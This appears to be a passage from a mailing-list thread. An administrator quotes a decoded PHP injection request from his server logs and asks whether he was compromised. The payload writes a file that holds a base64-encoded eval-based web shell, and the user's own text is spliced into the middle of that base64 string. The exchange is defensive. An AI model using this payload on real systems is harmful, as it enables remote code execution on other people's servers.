Have you tried to send those requests yourself and see what you get?Still those requests seem to be aimed at your php framework.Do you use a very old php version as well?--2017-02-06 17:41 GMT+01:00 Lentes, Bernd <bernd.lentes@helmholtz-muenchen.de >:

https://url-encoder.de/ helped me to decode the URL:
/?1=@ini_set("display_errors","0");@set_time_limit(0);@set_m agic_quotes_runtime(0);echo '->|';file_put_contents($_SERV ER['DOCUME
NT_ROOT'].'/webconfig.txt.php',base64_decode('PD9waHAgZXZhbC Currently i don't understand what this means.gkX1BPU1RbMV0pOz8+'));echo '|<-';
I don't find a file webconfig.txt.php on my system.
Currently no weird process, no new user in /etc/passwd, no packtes to the network which includes this ip.
Thankful for any tip.
